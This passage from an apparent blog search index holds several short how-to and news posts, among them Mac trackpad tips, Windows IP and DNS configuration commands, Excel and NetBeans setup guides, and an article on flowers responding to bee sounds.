file on the Finder or Desktop to rename the folder or file. ( previously we enter ) Look up words : Force click on a word then it will automatically open the dictionary to look up. If we add a wiki in our dictionary, it will automatically search the wiki for information. ( previously we right-click and select look up or touch 3 fingers at the same time on the trackpad ) Quick review of the website : Force click on certain links in emails, messages . to quickly see the page in a window that appears without opening the browser Quickly view file contents : Force click on a file's icon to quickly see the content of the file ( previously we pressed the distance button - Space ) Editing image file or PDF when composing email : While writing an email, we force click on the image file or pdf to edit the file before sending it. Add a quick calendar : Force clicks on a certain time content in an email, a message to quickly add to the calendar. Quick calendar : Force click on an event in the calendar to see details about the event Quickly view a map of a certain address : Force click on an address on the web or email to see the location on the map. Select the point on the map : Force click while on the map application will let you define ( drop pin ) point right where the cursor. From there, it is easier to calculate the way or guide. Quickly view information in iMessage chat : Force click to quickly see your location or attachments chat.   Look up fast information. In the picture you see yourself looking through the dictionary in the Mac system. It takes a strong click ( force click ) to get this done.\n  Quickly view links hidden under letters or pictures. If you press lightly (click), it will open the link. But if you press ( Force click ), you will see it quickly.\n  Quickly see the link in the email\n  See the detailed content of a chat nick like attached picture, location\n  Click on the content to add to the calendar\n  Click on the location content to see the location on the map.\n  Only one point (drop pin) on the map to see information or navigation\n    View event details in the calendar with force click\n  Quickly see the link in the banner ad\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02abqJ2jYrOwvsKeq6itk516tb7AnKKpmZRisbB5zqdkmmWdlrCju86k\n","link":"/post/what-does-forcetouch-trackpad-do-on-a-macbook/","section":"post","tags":null,"title":"What does ForceTouch Trackpad do on a Macbook?"},{"body":"Asgardia is the first cosmopolitan country in the world, proposed by Dr. Igor Ashurbeyli, a Russian scientist in October 2016. The name of this country is named after a heavenly land in the gods. Nordic phone. In particular, this cosmic nation is open to all residents on Earth and is completely free.\nHow many countries and territories are there in the world today? Saudi Arabia built a $ 500 billion super city spread across three countries, 33 times larger than New York   Currently, there are more than 450,000 citizens from all countries in the world join the country outside of this space.\nDr. Igor Ashurbeyli said that the purpose of establishing Asgardia is to protect the world and life on the Earth from the dangers in the universe, both artificial and natural, such as space debris, good solar storms. meteorite impact. At the same time it will also be a new state without borders, regardless of race, color, religion.\n Dr. Igor Ashurbeyli, who proposed the establishment of Asgardia.\nThe Asgardia project team wants to build facilities for people to live in the low orbit of Earth, first at altitudes 161 - 321 km, where the ISS station is operating. As expected, the first flight takes people to this \"flying country\" in 8 years.\nOn 12/11/2017, scientists successfully launched the Asgardia-1 satellite into orbit, beginning to realize the dream of the cosmic nation. Asgardia-1 will bring information of citizens flying out of space about 15-18 months.\nCurrently, the project team is preparing for the next satellite launches but has not announced a specific time.\nThe symbols of the first cosmopolitan country such as the national anthem, national flags and emblems are being voted on the official website. Even the embassy of Asgardia will be placed on continents on Earth in the near future.\n The current national flag of Asgardia, the country that proclaims itself out of space.(Photo of Asgardia - The Space Nation).\nAccording to the website, Asgardia has formed 13 states, each of which is built by the linguistic region of the major countries on Earth and has its own cultural characteristics. In the near future, the state of Asgardia will meet the first parliament and elect 150 key members.\n Asgardia Citizenship Certificate grants a successful online registration.(Photo asgardia.space).\nCurrently, the outer space rules are governed by the Space Treaty signed by 103 countries, including the US and Russia. However, Asgardia advocates the creation of a new system of electronic law and administration outside the universe. Asgardia's currency will be a form of currency named Solar.\nTo become a citizen of this cosmic nation, readers can register under the following link: https://asgardia.space/en/join\nAfter successful registration, you will be issued a certificate of Asgardia citizenship.\nSee also: The first independent floating country in the world in the middle of the Pacific will be born in 2020\nncG1vNJzZmismaXArq3KnmWcp51krrSzwKubopldrLWiwIyiqmaroJqwqq3LZpibp6WperW0xGadoqqjqXqku9KmpqmnnJ7BorqMnKaupqSnxm61zWaroZ1drLyzuMM%3D\n","link":"/post/what-is-special-about-the-first-cosmopolitan-country-in-the-world/","section":"post","tags":null,"title":"What is special about the first cosmopolitan country in the world?"},{"body":"The list published by Bestrecovery website on January 29.\nLaptop heat dissipation is the optimal solution in solving unnecessary problems that occur during long-term use, especially for continuous gaming which causes the machine to overheat. The cooling fan helps to reduce the temperature of the laptop, making it run more smoothly, the game speed, especially heavy games, is significantly improved.\nThe voting criteria of Bestrecovery are based on fan cooling, durability, low noise and price.\nZALMAN Ultra Quiet Notebook Cooler ZM-NC1000\n  The compact design is the strong point of the Zalman ZM-NC1000.\nThis cooling fan operates very smoothly and stably, keeping the laptop temperature at a safe level in all circumstances. The compact and angular design enhances mobility when moving and limits scratches. The strength of the Zalman NC1000 is the ability to adjust the fan speed very conveniently and minimize noise even when the fan runs at high speed.\nMarket price: 49 USD.\nZalman Notebook Cooler ZM-NC2000\n  Zalman ZM-NC2000 has very high durability.\nThe surface and cooling fan are made of durable aluminum material to remove heat from the laptop's bottom heat sink. The ZM-NC2000 has two \" high and low \" fan adjustment modes, however no matter how much the gamer sets, the fan almost doesn't make any noise.\nMarket price: 62 USD.\nAntec Notebook Cooler\n  Antec Cooler exclusively for large laptops\nThis is a fan designed specifically for large-sized laptops and high-performance applications. Large impeller sizes up to 200 mm effectively dissipate heat. However, Antec Cooler 200 does not integrate external USB port.\nMarket price: 28 USD.\nAntec Notebook Cooler 200\n  Antec 200 is suitable for large laptops\nThis fan is relatively similar to the Zalman NC1000 in terms of functionality, but is larger in size. It is suitable for laptops of 15.4 \", 17\" or 18 \"size.\nMarket price: 60 USD.\nncG1vNJzZmismaXArq3KnmWcp51kgW6uxKyrZqSRpcGwvIyrmJ2hkam8s7%2BMn6arZZeWuqa%2B0marqJyRrg%3D%3D\n","link":"/post/4-best-laptop-radiators-for-gamers-today/","section":"post","tags":null,"title":"4 best laptop radiators for gamers today"},{"body":"If you assign a random player it will only make people skeptical of you. Here are tips and tricks compiled by GameVui for\u0026nbsp; Astronauts to \u0026nbsp;help you find\u0026nbsp; Impostor before the game ends in unjust.\n  Tip Summary: 1. Use security camera. You can see who is doing what and who is following who 2. Always do quests and tasks in front of other players 3. Move in places with many players 4. Follow other players on the quest 5. Avoid crowded gatherings in one location 1. Use security camera. You can see who is doing what and who is following who This smart strategy is extremely effective by using the security camera to track people on the map. For example, if two players entered an area within the field of view of the camera and only one turned or did not turn around, someone could have been killed.\nOr you can find evidence of who entered the vent if some vent was opened in the dark. Check out suspicious areas if possible. Remember, always watch out for people entering the vents!\n2. Always do quests and tasks in front of other players If you have tasks such as electrical repairing, card swiping, oxygen repair or electrical connection, or cleaning up trash, you should do it whenever someone is nearby or tell people to watch you do it, so you can prove it. prove your innocence as these are unique behavioral missions that prove you don't have to impersonate.\n3. Move in places with many players If you are in a room, you have a very high chance of survival if you are with the same number of players as twice as many\u0026nbsp; Impostors \u0026nbsp;plus one person. (Example: 5 players in a room in \u0026nbsp;an imposter game ).\n4. Follow other players on the quest If you have completed a task and someone else has the same room assignment as you, join them in order for them to continue on with their task. This will help you both trust each other until the end of the game. Try not to follow any other unconfirmed players with the same mission in the room as you, as you might get kicked for being suspected for \"suspicious\" behavior.\nDo not perform the task immediately. Instead, look at the completed task bar above while everyone is swiping their ID. A crew member will quickly leave once their mission is completed, and\u0026nbsp; the impostor \u0026nbsp;will flee but the mission completion bar will not increase.\nThis way you can easily tell who \u0026nbsp;the impostor is , but don't press the emergency button right after, as most crew members won't trust you.\u0026nbsp;An impostor \u0026nbsp;can easily counteract this strategy by sabotaging messages or by leaving after someone has completed their mission.\nIf someone does a task and leaves without the taskbar going up, they are most likely\u0026nbsp; Impostors . This isn't easy to spot, so pay close attention if you don't want a suspect.\nIf the player never performs a quest, there is a high chance that they are \u0026nbsp;imposters .\n5. Avoid crowded gatherings in one location Gathering many players in one position will cause players to overlap so \u0026nbsp;that imposters \u0026nbsp;can easily kill anyone and not be suspicious.\nAmong Us a way of playing among us ncG1vNJzZmismaXArq3KnmWcp51krq67zaBkrqtdlnqywcicomasmaV6p7vRZp2ippSeu6h5wKdkoqWgpMC1sdFmnaiqXam1pnnCq5yw\n","link":"/post/a-quick-tip-for-finding-an-imposter-for-the-crew/","section":"post","tags":null,"title":"a quick tip for finding an imposter for the Crew"},{"body":"Even on quiet days, the whole world is full of sounds: the sound of birds singing, the sound of wind blowing through the foliage, the sound of insects ringing about their daily work. The ears of predators and prey are designed to recognize each other's presence.\nSound is an essential element for life and survival, which has prompted researcher Lilach Hadany to ask: If not only animals, but also plants that can listen, how? Information about the first experiment to test this hypothesis was published on the bioRxiv uncensored research site. According to it, there is at least one case that plants can hear and that gives an evolutionary advantage to the plants.\nHadany's team studied the evening primrose (Oenothera drummondii) and found that after only a few minutes feeling the vibrations on the wings of the pollinators, the plants temporarily increased the amount of sugar present in the nectar. In fact, the petals act like ears, listening to the bee's vibrational frequency and ignoring extraneous sounds like wind.\n Mr. Anh Thao\nSweet sound\nAs an evolutionary theorist, Hadany says her doubts arise when she realizes that sound is a popular natural resource - plants will waste it if they don't take advantage of it the way animals usually do. She thinks if the plants have a way to listen and respond to sound, it will help them survive and pass on this ability to the next plant life.\nBecause pollination is an important factor for a plant to reproduce, Hanady's team studied the flower department first. Primrose growing wildly on the beaches and parks around Tel Aviv University is a good candidate. This is because it has a very long hatching time and produces just enough honey to measure.\nTo test the flower, Hanady's team exposed it to five types of sounds: complete silence, honey bee sound recordings, computer-generated low, medium and high frequencies. . The plants exposed to the silence were placed in anti-vibration glass jars, which did not significantly increase the amount of sugar in the bile. This result is similar to trees exposed to high frequency sound (158 to 160 kilohertz) and medium frequency (34 to 35 kilohertz).\n But for plants exposed to the sound of bees (0.2 to 0.5 kilohertz) and similar low frequency sounds (0.05 to 1 kilohertz), after only three minutes, the amount of sugar in the nectar increase from 12 and 17 percent to 20 percent.\nAccording to the hypothesis of scientists, sweeter nectar can attract more pollinating animals and increase the likelihood of successful pollination. When looking at real-world examples, the researchers found that pollinators will be heavily planted on visited plants within the past six minutes.\n\"We were quite surprised to find it really works , \" Hadany said. \"After repeating this phenomenon under different conditions such as other seasons, trying on outdoor and indoor plants, we became more confident with the results . \"\nPetals like ears\nWhen the whole group thought about the method of transmission and the vibration of sound, the role of the petals suddenly became very interesting. Flowers come in a variety of varieties, varied in shape and size, a large number in the shape of a basin or bowl. This natural design is like satellite dishes, capable of receiving and amplifying sound waves.\nLilach Hadany, co-author of the Marine Veits report and a graduate student together measure the vibrations per minute of evening primrose. With the purpose to test the vibration effect of each sound frequency group. The group will then compare the vibrations of ordinary flowers with those that were exposed to different sounds.\n\"This flower is shaped like a bowl. So according to the theory of acoustics, it makes perfect sense if this structure vibrates and is able to increase the vibration on itself , \" Veits said.\nYes, it does, but the petals only respond to the frequency of the animal's pollination. Hadany said that seeing the frequency of flowers matching the bee's wavelength is very interesting.\n\"You will immediately see that it works,\" Veits said.\n Most flowers are pan-shaped\nTo make sure the flower was the listening unit, Hadany's team tested on the flowers that lost one or more petals. Those flowers are no longer able to receive sounds from low frequencies.\nFlowers can hear anything?\nHadany confirms that there are still many questions surrounding the ability of plants to respond to new sounds. Are some flowers better able to receive some sound frequencies than others? Why did evening primrose make the sugar in honey so much increase when only 1 to 3 percent of the bees realized it?\nMoreover, does this ability bring other advantages besides impacting on the production of nectar and pollination? Hadany assumed that plants could alert each other when they heard the sound of herbivores. Or they can create fascinating sounds for animals that help disperse the seeds.\n\"We have to take into account that flowers evolved with pollinators in a very long time , \" Hadany said. \"They are living things and they also need to survive. The ability to sense the environment is very important to plants, especially because they cannot move . \"\n In addition to bees, butterflies are also an insect pollinator\nThis scientific report has opened up a whole new field of research. Hadany named it phytoacoustics.\nVeits want to know more about the mechanism of this phenomenon. For example, which molecular or mechanical process plays a role in response to vibration and nectar? She also hopes the report will confirm the hypothesis that it doesn't always need a sense to sense the world.\n\"Many people would think, how can plants hear and smell?\" Veits said. \"I want people to understand that listening is not just for the ears . \"\nRichard Karban is an expert on the interaction of plants and insects at the University of California Davis. He has his own doubts, especially about the evolutionary advantage of plants when they respond to sound.\n\"The ability for them to sense the presence of other surrounding plants is feasible and they will evaluate whether the surrounding plants are fully fertilized , \" he said. \"There is no evidence of any such phenomenon happening, but this report has set the first step . \"\nAccording to NationalGeographic\n\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjKucrJ2Rp7CpecCum6KanJp6p7jOsJyrq12Wu6V506GcZp6clr2xtc2gZKieXZeypnnWoqWgq12irqyxjKGmp52pYrqwvsRmqrCdlak%3D\n","link":"/post/audible-flowers-and-the-flapping-of-bee-wings-make-honey-more-sweet/","section":"post","tags":null,"title":"audible flowers and the flapping of bee wings make honey more sweet"},{"body":"SnapEdit is an intuitive AI platform that uses AI technology to automatically remove objects/people from images; Edit, enhance, add color, retouch, animate photos and create animations in a snap without using Photoshop or other photo editing tools.\nDownload the latest SnapEdit here\nFeatures of SnapEdit Key features that SnapEdit brings to you include:\nRemove objects in photos: With a few simple taps, you will remove unwanted objects/people and get the clear, beautiful photos you want. Old Photo Recovery: Remove scratches and tears on old photos, Just select the problem areas on the photo and let the tool handle it for you. Remove acne, wrinkles, dark spots on face: You can quickly remove red acne spots on your face, remove wrinkles and remove skin defects in just a few clicks. Remove watermark, text, cut out logo online: Remove watermark from image, remove logo, icon, text from photo easily by touching them or erase with pen. Free, unlimited and easy to use: SnapEdit is a completely free, easy-to-use AI product that edits photos in a snap.   How to edit photos with SnapEdit? There are only 4 simple steps to remove subjects from photos and create beautiful photos like a professional photographer.\nStep 1. Upload a photo or drag and drop an image into the \"Upload Photo\" frame to start editing with the free SnapEdit.App photo editor.\nStep 2. Select the subject manually or let the AI ​​tool automatically detect and remove the object from the photo. You can apply this feature to blur, beautify, remove acne, restore old photos.\nStep 3. Adjust and preview the results: SnapEdit's AI engine edits images in a snap. You can zoom in, out, undo or redo the action, preview the results, and apply further edits as needed.\nStep 4. Share download: After editing, download the resulting image or share it directly to your social media sites.\nCurrently, SnapEdit is completely free, allows you to use photos of any resolution/size, allows downloading in HD. The tool supports the most popular image formats today: JPG, PNG, JPEG, etc. and allows users to download in JPG format with HD quality.\nSnapEdit is a fully automated AI tool that only acts as an intermediary so it does not store any copies of your images (before and after editing). So you can safely and quickly use SnapEdit anonymously.\nncG1vNJzZmismaXArq3KnmWcp51kwK%2Btz56boqxdmby4usuomJ1lpJ2ybrjArZysrF2ou6K8xJ2grWWYmr%2Bm\n","link":"/post/download-the-latest-snapedit-here/","section":"post","tags":null,"title":"Download the latest SnapEdit here"},{"body":"Static IP setup using PowerShell First you need to open PowerShell as Administrator and enter the following command to view your current network configuration:\nGet-NetIPConfiguration   Next, you need to use your notebook to record the following information:\nInterfaceIndex IPv4Address IPv4DefaultGateway DNSServer Next, enter the following command:\nNew-NetIPAddress -InterfaceIndex 15 -IPAddress 192.168.29.34 -PrefixLength 24 -DefaultGateway 192.168.29.1. In this step, you need to replace the DefaultGateway value in the command line above with the default gateway address of your network. The InterfaceIndex value should also be changed to match the value on your adapter. Finally, adjust the IPAddress you want and press Enter to set the static IP address.\nOnce done, you need to enter this command line and press Enter to set the DNS server address:\nSet-DnsClientServerAddress -InterfaceIndex 4 -ServerAddresses 10.1.2.1 Reset IP address and DNS using CMD With CMD you can view, reset, refresh, configure and change the IP address on your Windows 10 computer. The procedure is as follows:\nHow to view the IP address\nOpen the WinX menu by pressing Windows + X Select Command Prompt and enter the command ipconfig /alland press Enter   IPConfig is a built-in tool in Windows with the ability to display all configuration values ​​of the active TCP / IP network. In addition, it is possible to refresh the Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings .\nRefresh the IP address\nTo refresh the IP address you can use the following commands:\nipconfig /release ipconfig /renew Change the IP address\nFirst, to change static IP address on Windows 10 you need to know the name of your network interface. To do this you need to enter the following command in the Command Prompt and press Enter :\nnetsh interface ipv4 show config   In my results, the interface name is simply Wi-Fi. Maybe your interface name will be different from mine and usually default Windows names like 'Local Area Connection', 'Local Area Connection * 2' and 'Ethernet'.\nAfter having the name of the network interface, enter the following command to change the IP:\nnetsh interface ipv4 set address name=\"YOUR INTERFACE NAME\" static IP_ADDRESS SUBNET_MASK GATEWAY This is a sample command and you need to change information such as the network interface name, IP address, subnet mask address, default gateway. For example, a complete statement would look like this:\nnetsh interface ipv4 set address name=\"Wi-Fi\" static 192.168.3.8 255.255.255.0 192.168.3.1 If you are using a static IP address and want to switch to an IP address that is automatically assigned by the DHCP server (your router), enter the following command:\nnetsh interface ipv4 set address name='YOUR INTERFACE NAME' source=dhcp Change DNS with CMD\nTo change DNS using cmd you still use command nesthand sample command as follows:\nnetsh interface ipv4 set dns name=\"YOUR INTERFACE NAME\" static DNS_SERVER The complete command with the network interface name and using Google's DNS is as follows:\nnetsh interface ipv4 set dns name=\"Wi-Fi\" static 8.8.8.8 To set up the second DNS line, use the same command:\nnetsh interface ipv4 set dns name=\"YOUR INTERFACE NAME\" static DNS_SERVER index=2 Example with Google's DNS:\nnetsh interface ipv4 set dns name=\"Wi-Fi\" static 8.8.4.4 index=2 And just like an IP address, if you want to use the DNS provided by the DHCP server instead of the DNS of a third party, use the following command:\nnetsh interface ipv4 set dnsservers name\"YOUR INTERFACE NAME\" source=dhcp Change DNS with PowerShell The steps are as follows:\nPress the Windows button then type PowerShell Right-click on the search result then select Run as Administrator Enter the command Get-DnsClientServerAddressand press Enter to view InterfaceAlias Next, enter the following command into PowerShell Set-DNSClientServerAddress \"InterfaceAlias\" –ServerAddresses (\"preferred-DNS-address\", \"alternate-DNS-address\")   Before pressing Enter you need to change the three values ​​including InterfaceAlias, Preferred-DNS-address, Alternate-DNS-address to match the parameters on your network and the DNS you need to set. A complete statement is as follows:\nSet-DNSClientServerAddress \"Wi-Fi\" –ServerAddresses (\"1.1.1.1\",\"1.0.0.1\") You can replace it with your network interface name (InterfaceAlias) and the DNS you like like 8.8.8.8, 8.8.4.4 by Google.\nFlush DNS (clear DNS cache) and reset Winsock To perform the fastest DNS flush, you need to use CMD. In the command prompt window enter the following command and press Enter to flush DNS :\nipconfig /flushdns To reset Winsock you also need to use CMD. The way to do this is to type the following command in CMD then press Enter :\nnetsh winsock reset Good luck!\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJyYp2WepMFur8eapaCdXajBosDInGSiqF2btrl5wpqlZqafqXqktMCnnp5llKPAbrvNZq6ippSkxLR5kGk%3D\n","link":"/post/fix-can-not-change-static-ip-fix-can-not-change-dns-on-windows-10/","section":"post","tags":null,"title":"Fix can not change static IP, fix can not change DNS on Windows 10"},{"body":"To get in touch quickly with certain contacts right on the iPhone home screen, we can set up via an intermediary web, without having to install a support application. Besides, the user will be named and created an image that represents that contact number. So you will know who this contact number is through the name and the image you have set up. The following article will guide readers how to quickly call contacts from the iPhone main screen.\nHow to reject an unwanted call on iPhone How to fix iPhone error does not ring when there is a call How to make a call right on the iPhone lock screen Instructions for calling from the iPhone main screen Step 1:\nFirst, go to Safari and go to the Callmeicons homepage under the link below and click Create Your Own .\nhttps://callmeicons.com/ In the Enter Phone Number section , enter the phone number you want to create a shortcut for. Enter the phone number according to the syntax of [Country number] + [Phone number] and click Next . In which 84 is the number in Vietnam.\n    Step 2:\nSwitch to the new interface of the Enter Name user enters a name for the contact number. Contact name is easy to identify. Click Next above.\nNext, select the image for the contact number. You can click Upload Image to select the image available in the album on your iPhone, or click Pick Icon to use the icon available on the website.\n   Step 3:\nClick on the Select Image button to select the image. The website allows you to choose an existing photo (Photo gallery), or take a new photo (Take a picture).\n   Step 4:\nIt will then display a custom photo frame. We can zoom in or zoom out the frame according to the image you use. If you want to rotate the image click Rotate Image.\nWhen finished, click the Next button above. Users will be given a preview of the name as well as a representative image of the created contact.\nIf you like, click Open to continue. Finally click Create Icon to create the contact number. If you want to edit it, press the Back button.\n   Step 5:\nClick on the sharing icon in Safari and then select the Home screen to bring the contact shortcut to the main screen. Press the Add button in the upper right corner to complete the task.\n    Step 6:\nWhen you go out of the main screen you will see the contact number created as shown below. Click the contact number to make a call. Press the Call button to confirm the execution.\n   Thus, there is no need to directly access Contacts on iPhone, users can immediately press the contact number on the main screen. Naming and creating images for the contact number that the service supports will help you identify the caller.\nSee more:\n5 steps to set the vibration mode characteristic for callers on iPhone How to create a quick reply to a call on iPhone How to filter and block spam calls on iPhone I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRoblurYycpqeskZjBbrvNZquhnV2evam7zZ5kppmZo3q0r9GenKc%3D\n","link":"/post/how-to-call-a-contact-on-the-iphone-main-screen/","section":"post","tags":null,"title":"How to call a contact on the iPhone main screen"},{"body":" If you want to operate a boat or jet ski under the age of 18, you will need to obtain a boating license. Operating a boat or jet ski without a license under the age of 18 is illegal. In order to get a boating license you will need to find...\nPart 1of 3:\nFinding a Course  Look on a state level. Boat licensing is done on a state level and you will need to research your state's requirements. Every state will have some variance in the requirements that will need to be met. Try doing some research into your state's requirements to learn more about what you need to do to obtain your license.[1] You can try looking at the DMV's website http://www.dmv.org/boat-registration.php Some states have exceptions for vessels without motors. You may not need to have a license or register something like a canoe or kayak.[2] Other states may not require any licenses at all.[3]   Choose on-line or in person classes. Many states will offer both on-line and in person classes. Both types of classes will allow you to obtain your boating license in the same way. Picking the right learning environment for your needs can help you successfully get your boating license. Online courses provide lectures and tests in the same way in-class lectures do.[4] You can check for online classes at http://www.boaterexam.com/ Your state will have their own website for in-person classes.[5]   Be ready to pay the fees. In order to enroll in a boating license course, you will need to pay the course fee. The exact fee will vary between states. You will need to do some research into what the fee is for your own state or on-line course to learn more. For example, New York state generally charges around $10.00 per course.[6] Some online courses are $29.95 [7] Some online courses only charge you when you pass the exam.[8]  Part 2of 3:\nPreparing for the Exam  Learn boat safety. Parts of the boating exam will test how much you know about boating safety. These topics will allow you to demonstrate that you can keep your boat in working order, make sure you are prepared for emergencies, and ensure that you can operate your boat correctly. Expect some of these questions to appear on the test:[9] Where should you place a fire extinguisher on your boat? What should you do in case of a fire? Which boats are most likely to capsize?   Learn the best boating practices. There are many rules and practices that you and other boaters should be aware of. These rules will help make sure everyone is kept safe while boating, preventing any needless accidents from occurring. You can expect to find questions like these on the exam:[10][11] What should a power boat approaching a sail boat in darkness do? Which direction does bad weather usually approach from? What side of your boat should you pass red markers on? What area is indicated by red and green buoys? Which side of the boat is the port side?   Learn personal safety. Although boating is a lot of fun, it can also present some dangers. It's important that you know how to keep you and your friends safe while out on the water. You will likely see some questions that are similar to these on the test:[12] What are the symptoms of carbon monoxide poisoning? What are the symptoms of hypothermia? How can you help someone recover from hypothermia? What is the H.E.L.P. position?  Part 3of 3:\nPassing the Exam  Practice the test. Before you take your boating license test, it can be a good idea to get in some practice. There are a few options on-line that you can use to get a better understanding of what's on the test. Take some time to look over the practice exams to increase your chances of passing the exam.[13] You can find a practice exam here http://www.boaterexam.com/canada/practice/quiz.aspx   Study all material. When you sign up to take a boating license exam, you will likely be given material to study. This material is designed to educate you on the safe operation of boating vessels. Make sure you fully review all information delivered to you as part of your course to allow you to successfully pass the exam.\n  Take the exam. At the end of the course you will be given the final boating license examination. This test will gauge how well you have retained all information presented throughout the course. Passing the test will demonstrate that you are capable of safely operating a boating vessel and will grant you your boating license.[14] The exam will ask you questions that assess how much you know about boats and boating. For example, you may be asked which side is the port side of a boat. You may also be asked questions regarding the proper treatment of hypothermia. You should know what to do while boating in stormy weather.   Obtain your license. After you successfully pass your boating license exam and have paid any applicable fees, you will be allowed to obtain your license. This license will ensure that you are obeying the law, staying safe, and observing proper boating practices. Your license will likely be a small card, similar to a driver's license.[15] You need to carry your license or boating education card with you while boating.[16]   Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXq6u9SrZJunkam2r7OMpaCcnZ6osg%3D%3D\n","link":"/post/how-to-get-your-boating-license/","section":"post","tags":null,"title":"How to Get Your Boating License"},{"body":"When working with documents on Excel, there will be requests that users need to rearrange the data, such as alphabetically ordering names or reversing the list of data in a column or a row to match it. order. If the request in the table is just reversing the data without sorting in alphabetical order, the implementation is extremely simple and immediately use Sort sort tool on Excel. The following article will guide you how to reverse the list in the Excel column.\nHow to rank on Excel with RANK function How to arrange incremental dates in Excel How to arrange names in alphabetical order in Word Instructions for reversing column data on Excel Step 1:\nSuppose we have the data column A needs to be reversed as shown below. Now in column B, enter the corresponding order for the data of column A, from 1 to the end. Then we will proceed to sort the data in column A by column B. Just reverse the order of column B, the data in column A will be reversed. This is the purpose of adding data order to column B.\n  Step 2:\nBlack out the entire content and then click on the Data tab in the ribbon bar above, click on the Sort tool to open the data sorting table.\n  Step 3:\nDisplay the data arrangement interface in Excel. Here the user selects the area to be inverted, here is column B at Sort by. Order will choose Largest to Smallest . Need to remove the check in My data has header because the data table has no title. Finally click OK to apply.\n  Column B and Column A results are both inverted according to the corresponding data.\n  See more:\nHow to arrange alphabetical order in Google Sheets Instructions for setting the default font in Microsoft Word Use VLOOKUP to join two Excel tables together I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVq7Kzv8Rmm5qskWK2r3nCqKOupZ6oerC6jJ6vnJ2c\n","link":"/post/how-to-reverse-data-in-columns-on-excel/","section":"post","tags":null,"title":"How to reverse data in columns on Excel"},{"body":" The NetBeans IDE is a dynamic modular IDE, which means you can change it by adding and removing modules of the program. You can add functionality by installing plugin modules, or remove functionality by uninstalling plugin modules. If your...\nPart 1of 3:\nIf you have NetBeans IDE 8.0 without the C/C++ plugin If your NetBeans IDE does not show a C/C++ project category when you select File \u0026gt; New Project, complete the following steps to add the C/C++ plugin module to the IDE.\n If your network uses a proxy, choose Tools \u0026gt; Options \u0026gt; General in the IDE, select Manual Proxy Settings, enter the HTTP Proxy and Port for your proxy, and click OK.\n  Choose Tools \u0026gt; Plugins.\n  In the Plugins dialog box, click the Available Plugins tab, and scroll to the C/C++ category.\n  Select the C/C++ checkbox and click Install to start the NetBeans IDE Installer.\n  In the NetBeans IDE Installer, click Next.\n  Read the license agreement, select the checkbox to accept the terms of the license agreement, and click Next.\n  Click Install.\n  After the installation completes, select either Restart IDE Now or Restart IDE Later and click Finish.\n Part 2of 3:\nInstalling and Setting Up the Compilers and Tools  Compile. After installing the Plug-In, you then require a compiler for compiling C/C++ Codes. The NetBeans C/C++ module has been tested with compilers from Cygwin and MinGW. If you install both Cygwin and MinGW, be careful to keep their installation locations completely separate and do not mix tools from Cygwin and MinGW in one tool collection in the IDE. Install the GNU gcc and g++ compilers, make, and gdb debugger from cygwin.com as follows.\n  Download the Cygwin setup-x86.exe (32-bit installation) or setup-x86_64.exe (64-bit installation) program by clicking Install Cygwin in the left navigation bar, or by clicking the direct setup-x86.exe or setup-x86_64.exe link. Note: The bits of Windows OS, Java, and NetBeans IDE installed on your machine must match. For example, if you are running the 64-bit version of Windows operating system, 64-bit Java and 64-bit Cygwin (that is setup-x86_64.exe) are required to be installed.\n  Run the downloaded Cygwin installer. Accept the defaults until you reach the Select Your Internet Connection page. Select the option on this page that is best for you. Click Next.\n  On the Choose Download Site page, choose a download site you think might be relatively close to you. Click Next.\n  On the Select Packages page you select the packages to download. Click the + next to Level to expand the development tools category. You may want to resize the window so you can see more of it at one time.\n  Select each package you want to download by clicking the Skip label next to it, which reveals the version number of the package to download. At a minimum, select The ones Outlined Below. Packages that are required by the packages you select are automatically selected as well. gcc-core: C compiler gcc-g++: C++ compiler gdb: The GNU Debugger make: the GNU version of the 'make' utility   Click Next to connect to the download site and download the packages you selected, and click Finish when the installation is complete.\n  Now add the Cygwin compiler directory to your path to enable NetBeans IDE to find the tools collection: Open the Control Panel: - On Windows XP select Start \u0026gt; Settings \u0026gt; Control Panel and double-click System. - On Windows 7, type var in the Start menu's search box to quickly find a link to Edit the system environment variables. Select the Advanced tab and click Environment Variables. In the System Variables panel of the Environment Variables dialog, select the Path variable and click Edit. Add the path to the cygwin-directorybin directory to the Path variable, and click OK. By default, cygwin-directory is C:cygwin (for 32 bit Cygwin distribution) or C:cygwin64 (for 64 bit Cygwin distribution). Directory names must be separated with a semicolon. Your edited path should look something like %SystemRoot%system32;%SystemRoot%;C:Program FilesQuickTimeQTSystem;C:cygwinbin Click OK in the Environment Variables dialog and the System Properties dialog. See Verifying the Installation to verify that the tools were installed correctly for the NetBeans IDE.  Part 3of 3:\nMinGW Compilers and Tools NetBeans IDE 8.0 was tested with Minimalist GNU for Windows (MinGW) and the Minimal System (MSYS) Unix-like environment. Versions tested and installation instructions are shown below. To install the GNU compilers, make, and gdb debugger from mingw.org:\n Log in to Windows using an account with computer administrator privileges.\n  Download the MinGW installer from http://sourceforge.net/projects/mingw.\n  Run the MinGW installer, which should have a file name similar to mingw-get-setup.exe.\n  Accept the default C:MinGW as the destination folder if possible to minimize any potential difficulty with using the compilers from another location.\n  In the MinGW installer select the following components to install: mingw-developer-toolkit mingw32-base mingw32-gcc-fortran (if you will be working on Fortran programs) msys-base mingw32-gcc-g++   Select Installation \u0026gt; Apply Changes from the main menu.\n  Click Apply to confirm the installation and wait a few minutes while the installer program downloads the components you selected.\n  You must add the paths to the the binaries for MinGW and MSYS tools to your PATH. If you installed to the default location the paths are C:MinGWbin and C:MinGWMSYS1.0bin. Click Close when the packages installation is completed.   Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3qxvs6gqZqlXZiwbrzRqJ6rmZ1itq95zZ6rm52Ro8A%3D\n","link":"/post/how-to-run-program-c-c-program-in-netbeans/","section":"post","tags":null,"title":"How to Run Program C/C++ Program in Netbeans"},{"body":"Foodie has just updated the Comic Food filter, food photography style Anime comic with many different shooting styles. Anime is a popular cartoon and comic genre not only in Japan but also in the world. And this style of anime comic has become the subject of a lot of content like creating anime characters from your selfies or taking photos of anime-style food on Foodie.\nThis new Foodie comic filter on Foodie will create a whole new set of food photos, alongside previous food photography filters on Foodie. If you are an anime fan, or want to try the new photography filter, please refer to the article below of 